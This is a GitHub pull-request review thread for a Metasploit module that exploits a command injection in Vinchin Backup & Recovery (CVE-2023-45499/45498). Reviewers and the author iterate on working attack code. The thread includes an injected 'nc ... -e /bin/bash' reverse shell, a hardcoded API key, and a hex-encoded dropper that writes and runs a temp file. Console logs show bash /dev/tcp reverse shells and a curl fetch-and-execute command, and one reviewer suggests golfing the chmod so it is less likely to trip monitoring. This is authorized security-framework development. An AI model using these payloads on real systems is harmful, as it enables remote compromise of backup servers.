-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Submission of New Exploit Module for Vinchin Backup & Recovery Command Injection #18542
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @Chocapikk for this module. This is a great first contribution, well done!
I left a few comment and suggestions for you to review when you get a chance. Particularly, it would be great to let the user choose its payload using Fetch Payloads and/or Command Stagers (see my comments below).
modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Outdated
Show resolved
Hide resolved
lhost = datastore['LHOST'] | ||
lport = datastore['LPORT'] | ||
injection_command = "nc #{lhost} #{lport} -e /bin/bash" | ||
data = "p={\"ip\":\"127.0.0.1 ;#{injection_command};\"}" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
As I understand, this won't let the user choose the payload he wants to use. Instead, you can use payload.encode
to include the payload setup by the user with set PAYLOAD ...
. Note that you will probably need some filtering and sanitization, since I believe some special characters would break the command.
A more complete and flexible option is to make the code compatible with Fetch Payloads and Command Stagers, which allow the use of Meterpreter payloads, along with standard command payloads.
Please, refers to these documentations for details:
- https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-write-a-cmd-injection-module.html
- https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-use-fetch-payloads.html
- https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-use-command-stagers.html
Also, feel free to ask if you have issues with this. I would be happy to help.
end | ||
|
||
def check | ||
target_uri_path = normalize_uri(target_uri.path.split('/')[0], '/login.php') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'm not sure to understand, what target_uri.path.split('/')[0]
is supposed to return?
It will always return an empty string if the TARGETURI
value starts with '/':
[1] pry(main)> '/my/long/path/'.split('/')[0]
=> ""
If there is no '/', it will return the first path only:
[2] pry(main)> 'my/long/path/'.split('/')[0]
=> "my"
modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Outdated
Show resolved
Hide resolved
return CheckCode::Unknown('Failed to connect to the target.') | ||
end | ||
|
||
print_status("HTTP Response Code: #{res.code}") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Does a status code different than 200 mean it failed? If so, it would be interesting to add a check and return early:
return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200
Co-authored-by: Christophe De La Fuente <[email protected]>
Co-authored-by: Christophe De La Fuente <[email protected]>
Co-authored-by: Christophe De La Fuente <[email protected]>
Co-authored-by: Christophe De La Fuente <[email protected]>
Co-authored-by: Christophe De La Fuente <[email protected]>
Co-authored-by: Christophe De La Fuente <[email protected]>
Vinchin Backup & Recovery Exploit Module Documentation UpdateHey @cdelafuente-r7, I wanted to inform you that I have updated the documentation and the exploit for the Vinchin Backup & Recovery exploit module. The update includes enhanced compatibility, allowing both Meterpreter and a broad range of other payloads to be utilized effectively. Please let me know if there are any further modifications required. Also, I would like to extend my gratitude for your assistance in refining the script. Your support has been invaluable. Best regards, Chocapikk |
Hello again, in fact all instances after this exploitation are vulnerable to privilege escalation (CVE-2021-4034) Any idea how to add this (optional) ? I saw there is an exploit module https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb Best regards, Chocapikk |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @Chocapikk for updating this. I just left a few other comments.
Also, I was not able to download a vulnerable version to test. The only version I could get from https://www.vinchin.com/en/product/free-vm-backup.html is 7.2.0.33210, and this vulnerability seems to be fixed. Do you know where I can download older versions?
Regarding CVE-2021-4034, we usually avoid having CVE's for different vulnerabilities in the same module. Here, since we already have a local exploit module for this CVE. The user could just get a session with your module and then use the local exploit to escalate privileges. If you want, you can drop a line in the documentation about it.
OptString.new('APIKEY', [true, 'The hardcoded API key', '6e24cc40bfdb6963c04a4f1983c8af71']), | ||
] | ||
) | ||
datastore['FETCH_WRITABLE_DIR'] = '/usr/share/nginx/vinchin/tmp' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
What's the benefit of having the fetch payload temporary directory set to this location instead of using the standard /tmp
, which is what fetch payloads uses by default?
If it is really necessary, this should be placed in DefaultOptions
instead:
'DefaultOptions' => {
'SSL' => true,
'FETCH_WRITABLE_DIR' => '/usr/share/nginx/vinchin/tmp'
},
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The interest here is that if we want to use an http stager, we can write in the right place. As it is CentOS, SELinux is enabled and therefore /tmp does not work for execution. One of the directories that I found writable and executable is this one. It's much more useful
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
In fact I moved this variable where you put it. Except that when I do this, and when there is an http stager used, the variable is not considered in the payload section and therefore it does not work.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
My bad, it worked now. In fact, I had put it in OptString before.
hex_encoded_payload = payload.encoded.unpack('H*').first | ||
formatted_payload = hex_encoded_payload.scan(/../).map { |x| "\\\\x#{x}" }.join | ||
|
||
temp_file = "#{datastore['FETCH_WRITABLE_DIR']}/#{Rex::Text.rand_text_alpha(8)}" | ||
command = "echo -ne #{formatted_payload} | tee #{temp_file}; chmod 777 #{temp_file}; #{temp_file}; rm #{temp_file}" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don't think all of this is needed. The payload is already a command, since it is the only Arch
this module supports. So, you should be able to just pass the payload.encoded
to the data
value below:
'data' => "p={\"ip\":\"a||#{payload.encoded}\"}"
It looks like the payload is surrounded by double quotes and these would need to be filtered. One simple way to do this is to add the BadChars
to the Payload
section in the info hash above:
...
'Arch' => [ARCH_CMD],
'Payload' => { 'BadChars' => "\"" },
'Targets' => [
...
Framework will handle everything for you.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Here the majority of characters are not usable. This payload allows me not to use special characters like >, <, "",'' which are interpreted as html when I look in the process. This is why I did this. Even when trying to use Badchars, metasploit is not able to generate a payload that meets the conditions.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
And so this method allows me to send a dropper but also any command without using Badchars
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
[-] Exploit failed: cmd/linux/http/x64/meterpreter/reverse_tcp: All encoders failed to encode.
with 'Payload' => { 'BadChars' => "\"'<>&" },
and payload.encoded in command variable
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
So, I just pushed a new version. Sadly I can't do another way to bypass all badchars.
command = "echo -ne #{formatted_payload} | tee #{temp_file}; chmod 777 #{temp_file}; #{temp_file}; rm #{temp_file}"
is working fine
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
So, I looked into this and found out the encoding issue comes from the fetch payload. It looks like Framework is unable to find a suitable encoder for a fetch payload with this kind of bad characters. If you set the payload to a standard command payload, the encoding works as expected:
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > run verbose=true rhosts=192.168.100.33 lhost=192.168.100.1 forceexploit=true
[+] bash -c '0<&80-;exec 80<>/dev/tcp/192.168.100.1/4444;sh <&80 >&80 2>&80'
[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected Vinchin version: 7.2.0.33210
[!] The target is not exploitable. ForceExploit is enabled, proceeding with exploitation.
From: /home/msfuser/dev/src/metasploit-framework/modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb:68 Msf::Exploit::Remote::AutoCheck#exploit:
63: )
64: end
65:
66: def exploit
67: require 'pry';binding.pry
=> 68: hex_encoded_payload = payload.encoded.unpack('H*').first
69: formatted_payload = hex_encoded_payload.scan(/../).map { |x| "\\\\x#{x}" }.join
70:
71: temp_file = "#{datastore['FETCH_WRITABLE_DIR']}/#{Rex::Text.rand_text_alpha(8)}"
72: command = "echo -e #{formatted_payload}|tee #{temp_file};chmod 777 #{temp_file};#{temp_file};rm #{temp_file}"
73: send_request_cgi({
[1] pry(#<Msf::Modules::Exploit__Linux__Http__Vinchin_backup_recovery_cmd_inject::MetasploitModule>)> payload.encoded
=> "/bin/echo -ne \\\\\\x62\\\\\\x61\\\\\\x73\\\\\\x68\\\\\\x20\\\\\\x2d\\\\\\x63\\\\\\x20\\\\\\x27\\\\\\x30\\\\\\x3c\\\\\\x26\\\\\\x31\\\\\\x39\\\\\\x39\\\\\\x2d\\\\\\x3b\\\\\\x65\\\\\\x78\\\\\\x65\\\\\\x63\\\\\\x20\\\\\\x31\\\\\\x39\\\\\\x39\\\\\\x3c\\\\\\x3e\\\\\\x2f\\\\\\x64\\\\\\x65\\\\\\x76\\\\\\x2f\\\\\\x74\\\\\\x63\\\\\\x70\\\\\\x2f\\\\\\x31\\\\\\x39\\\\\\x32\\\\\\x2e\\\\\\x31\\\\\\x36\\\\\\x38\\\\\\x2e\\\\\\x31\\\\\\x34\\\\\\x34\\\\\\x2e\\\\\\x31\\\\\\x2f\\\\\\x34\\\\\\x34\\\\\\x34\\\\\\x34\\\\\\x3b\\\\\\x73\\\\\\x68\\\\\\x20\\\\\\x3c\\\\\\x26\\\\\\x31\\\\\\x39\\\\\\x39\\\\\\x20\\\\\\x3e\\\\\\x26\\\\\\x31\\\\\\x39\\\\\\x39\\\\\\x20\\\\\\x32\\\\\\x3e\\\\\\x26\\\\\\x31\\\\\\x39\\\\\\x39\\\\\\x27|sh"
As you can see, the default payload encoder will do pretty much what you're doing here. Please, would you mind testing this on your environment and see if passing payload.encoded
to the data
value works without having to add extra code to handle encoding?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hello, I can do a test again, but these are tests I had already done. Without this method the shell/meterpreter is not possible at least the additional step. Also I sent you the correct download link on the version. Here 7.2 is patched
The right one: https://dump.leakix.net/cases/vinchin/Vinchin_Backup_Recovery_SERVER_V7.0.1.26282.iso
I didn't really understand your test it's the usual execution
< : <
> : >
& : &
This is how the characters appear in the process of the vulnerable machine. So it's not executed correctly.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I submitted an issue for this.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Sorry for the delay. The test was to remove the custom encoding and rely only on the built-in encoder. For example (I added vprint_status
for debugging only and will need to be removed)
def exploit
vprint_status("Encoded payload: #{payload.encoded}")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'api/'),
'vars_get' => {
'm' => '30',
'f' => 'checkIpExists',
'k' => datastore['APIKEY']
},
'data' => "p={\"ip\":\"a||#{payload.encoded}\"}"
})
end
You will need to add 'Payload' => { 'BadChars' => "\"'<>&" },
to the info hash.
Running the module with the default payload will fail, as you already noticed:
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > run verbose=true rhosts=192.168.101.123 forceexploit=true
[*] Command to run on remote host: curl -so /usr/share/nginx/vinchin/tmp/YxJVcRaQ http://192.168.101.1:8080/wM3kSslltEFwG5PVFWXqSg; chmod +x /usr/share/nginx/vinchin/tmp/YxJVcRaQ; /usr/share/nginx/vinchin/tmp/YxJVcRaQ &
[-] Exploit failed: cmd/linux/http/x64/meterpreter/reverse_tcp: All encoders failed to encode.
[*] Exploit completed, but no session was created.
But with a standard shell payload, it should encode everything the way you did:
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > run verbose=true rhosts=192.168.101.123 forceexploit=true
[+] bash -c '0<&196-;exec 196<>/dev/tcp/192.168.101.1/4444;sh <&196 >&196 2>&196'
[*] Started reverse TCP handler on 192.168.101.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected Vinchin version: 7.2.0.33210
[!] The target is not exploitable. ForceExploit is enabled, proceeding with exploitation.
[*] Encoded payload: /bin/echo -ne \\\x62\\\x61\\\x73\\\x68\\\x20\\\x2d\\\x63\\\x20\\\x27\\\x30\\\x3c\\\x26\\\x32\\\x32\\\x2d\\\x3b\\\x65\\\x78\\\x65\\\x63\\\x20\\\x32\\\x32\\\x3c\\\x3e\\\x2f\\\x64\\\x65\\\x76\\\x2f\\\x74\\\x63\\\x70\\\x2f\\\x31\\\x39\\\x32\\\x2e\\\x31\\\x36\\\x38\\\x2e\\\x32\\\x37\\\x2e\\\x31\\\x33\\\x39\\\x2f\\\x34\\\x34\\\x34\\\x34\\\x3b\\\x73\\\x68\\\x20\\\x3c\\\x26\\\x32\\\x32\\\x20\\\x3e\\\x26\\\x32\\\x32\\\x20\\\x32\\\x3e\\\x26\\\x32\\\x32\\\x27|sh
...
Would you mind testing this on your environment?
About the ISO you can find it here: |
Co-authored-by: Christophe De La Fuente <[email protected]>
end | ||
|
||
def check | ||
target_uri_path = normalize_uri(target_uri.path, '/login.php') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
target_uri_path = normalize_uri(target_uri.path, '/login.php') | |
target_uri_path = normalize_uri(target_uri.path, 'login.php') |
version_pattern = /Vinchin build: (\d+\.\d+\.\d+\.\d+)/ | ||
version_match = res.body.match(version_pattern) | ||
|
||
if version_match && version_match[1] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
if version_match && version_match[1] | |
if !version_match || !version_match[1] | |
CheckCode::Unknown('Unable to extract version.') | |
endif |
command = "echo -ne #{formatted_payload} | tee #{temp_file}; chmod 777 #{temp_file}; #{temp_file}; rm #{temp_file}" | ||
send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(datastore['TARGETURI'], '/api/'), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
'uri' => normalize_uri(datastore['TARGETURI'], '/api/'), | |
'uri' => normalize_uri(datastore['TARGETURI'], 'api/'), |
formatted_payload = hex_encoded_payload.scan(/../).map { |x| "\\\\x#{x}" }.join | ||
|
||
temp_file = "#{datastore['FETCH_WRITABLE_DIR']}/#{Rex::Text.rand_text_alpha(8)}" | ||
command = "echo -ne #{formatted_payload} | tee #{temp_file}; chmod 777 #{temp_file}; #{temp_file}; rm #{temp_file}" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
With some light golfing:
command = "echo -ne #{formatted_payload} | tee #{temp_file}; chmod 777 #{temp_file}; #{temp_file}; rm #{temp_file}" | |
command = "echo -e #{formatted_payload}|tee #{temp_file};chmod +x #{temp_file};#{temp_file};rm #{temp_file}" |
- No need for spaces.
chmod +x
is shorter thanchmod 777
, and less likely to trip monitoring.- A trailing newline in the payload is absolutely okay
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hey, chmod +x doesn't work because of the +
, that's why 777
Edit: yes sorry it works
modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Outdated
Show resolved
Hide resolved
Co-authored-by: cgranleese-r7 <[email protected]>
Co-authored-by: cgranleese-r7 <[email protected]>
hex_encoded_payload = payload.encoded.unpack('H*').first | ||
formatted_payload = hex_encoded_payload.scan(/../).map { |x| "\\\\x#{x}" }.join | ||
|
||
temp_file = "#{datastore['FETCH_WRITABLE_DIR']}/#{Rex::Text.rand_text_alpha(8)}" | ||
command = "echo -ne #{formatted_payload} | tee #{temp_file}; chmod 777 #{temp_file}; #{temp_file}; rm #{temp_file}" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
So, I looked into this and found out the encoding issue comes from the fetch payload. It looks like Framework is unable to find a suitable encoder for a fetch payload with this kind of bad characters. If you set the payload to a standard command payload, the encoding works as expected:
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > run verbose=true rhosts=192.168.100.33 lhost=192.168.100.1 forceexploit=true
[+] bash -c '0<&80-;exec 80<>/dev/tcp/192.168.100.1/4444;sh <&80 >&80 2>&80'
[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected Vinchin version: 7.2.0.33210
[!] The target is not exploitable. ForceExploit is enabled, proceeding with exploitation.
From: /home/msfuser/dev/src/metasploit-framework/modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb:68 Msf::Exploit::Remote::AutoCheck#exploit:
63: )
64: end
65:
66: def exploit
67: require 'pry';binding.pry
=> 68: hex_encoded_payload = payload.encoded.unpack('H*').first
69: formatted_payload = hex_encoded_payload.scan(/../).map { |x| "\\\\x#{x}" }.join
70:
71: temp_file = "#{datastore['FETCH_WRITABLE_DIR']}/#{Rex::Text.rand_text_alpha(8)}"
72: command = "echo -e #{formatted_payload}|tee #{temp_file};chmod 777 #{temp_file};#{temp_file};rm #{temp_file}"
73: send_request_cgi({
[1] pry(#<Msf::Modules::Exploit__Linux__Http__Vinchin_backup_recovery_cmd_inject::MetasploitModule>)> payload.encoded
=> "/bin/echo -ne \\\\\\x62\\\\\\x61\\\\\\x73\\\\\\x68\\\\\\x20\\\\\\x2d\\\\\\x63\\\\\\x20\\\\\\x27\\\\\\x30\\\\\\x3c\\\\\\x26\\\\\\x31\\\\\\x39\\\\\\x39\\\\\\x2d\\\\\\x3b\\\\\\x65\\\\\\x78\\\\\\x65\\\\\\x63\\\\\\x20\\\\\\x31\\\\\\x39\\\\\\x39\\\\\\x3c\\\\\\x3e\\\\\\x2f\\\\\\x64\\\\\\x65\\\\\\x76\\\\\\x2f\\\\\\x74\\\\\\x63\\\\\\x70\\\\\\x2f\\\\\\x31\\\\\\x39\\\\\\x32\\\\\\x2e\\\\\\x31\\\\\\x36\\\\\\x38\\\\\\x2e\\\\\\x31\\\\\\x34\\\\\\x34\\\\\\x2e\\\\\\x31\\\\\\x2f\\\\\\x34\\\\\\x34\\\\\\x34\\\\\\x34\\\\\\x3b\\\\\\x73\\\\\\x68\\\\\\x20\\\\\\x3c\\\\\\x26\\\\\\x31\\\\\\x39\\\\\\x39\\\\\\x20\\\\\\x3e\\\\\\x26\\\\\\x31\\\\\\x39\\\\\\x39\\\\\\x20\\\\\\x32\\\\\\x3e\\\\\\x26\\\\\\x31\\\\\\x39\\\\\\x39\\\\\\x27|sh"
As you can see, the default payload encoder will do pretty much what you're doing here. Please, would you mind testing this on your environment and see if passing payload.encoded
to the data
value works without having to add extra code to handle encoding?
Co-authored-by: Christophe De La Fuente <[email protected]>
Unfortunately, I was not able to install the vulnerable version. For some reason, the ISO you linked above results in a non-working installation. Would you mind sending a trace and the debug output from the console the Metasploit mailing list (msfdev [at] metasploit.com)? I would need to validate if the module works as expected. This can be done by setting the following options before running the module:
Thank you! |
Hello, what is the problem? When I did my lab I used exactly this ISO file and it was functional. Did you think to enable network connection during settings? I will do tests when I can, but therefore the meterpreter will not work if the bug is not fixed |
Hi @Chocapikk, due to internal company policies, I cannot install this directly in a VM, since it is from an untrusted source. So, I had to setup a VM inside another VM, which seems to be too much of "inception". It stops in the middle of the installation and I was not able to went through it. I can try again with a different setup this week, but the easiest way to have this module landed as soon as possible is to provide the trace of execution on your environment. |
Hello @cdelafuente-r7 , okay I'll do this then when I can. Do I also do this with meterpreter or with your modification only with a basic shell? |
Hi @Chocapikk , this can be done with your current implementation, like it is in this PR. Once it is validated, I'll land it. We can still update the module later in another PR, if needed, no problem. Thanks! |
Hello @cdelafuente-r7, I've just sent the e-mail with the http trace |
Thanks for sending the HTTP trace @Chocapikk ! I checked and everything looks good to me now. I'll go ahead and land it. Thanks again for your contribution. |
Release NotesThis adds an exploit module for a command injection vulnerability in Vinchin Backup & Recovery versions v5.0, v6.0, v6.7, and v7.0. This leverages two vulnerabilities identified as CVE-2023-45499 and CVE-2023-45498. |
Hello Metasploit Team,
I am excited to submit a new exploit module for inclusion in the Metasploit Framework targeting a command injection vulnerability in Vinchin Backup & Recovery versions v5.0., v6.0., v6.7., and v7.0..
Module Name: exploit/linux/http/vinchin_backup_recovery_cmd_inject
Module Description
This module exploits a command injection vulnerability in Vinchin Backup & Recovery software. It sends a specially crafted HTTP request to the server, resulting in arbitrary command execution under the context of the web server user. After extensive testing, I have determined that the
generic/shell_reverse_tcp
payload is uniquely suited to exploit this vulnerability effectively. Other payloads were tested but did not succeed, making this payload the only currently viable option for successful exploitation.Verification Steps:
msfconsole
.use exploit/linux/http/vinchin_backup_recovery_cmd_inject
.RHOSTS
,RPORT
,SSL
,TARGETURI
,APIKEY
,LHOST
,LPORT
.check
to verify the target is vulnerable.exploit
to execute the payload on the target system.Scenarios
A comprehensive scenario is provided in the documentation, demonstrating the successful exploitation of a Vinchin Backup & Recovery system. This scenario also serves as a reference for the exploit's effectiveness when using the
generic/shell_reverse_tcp
payload. (Other payloads don't work in my lab)I have closely followed the module development guidelines and included thorough documentation.
Please let me know if there are any required changes or additional tests that I could perform. I am open to feedback and willing to make any necessary revisions.
Thank you for considering my contribution to the Metasploit Framework.
Best regards,
Chocapikk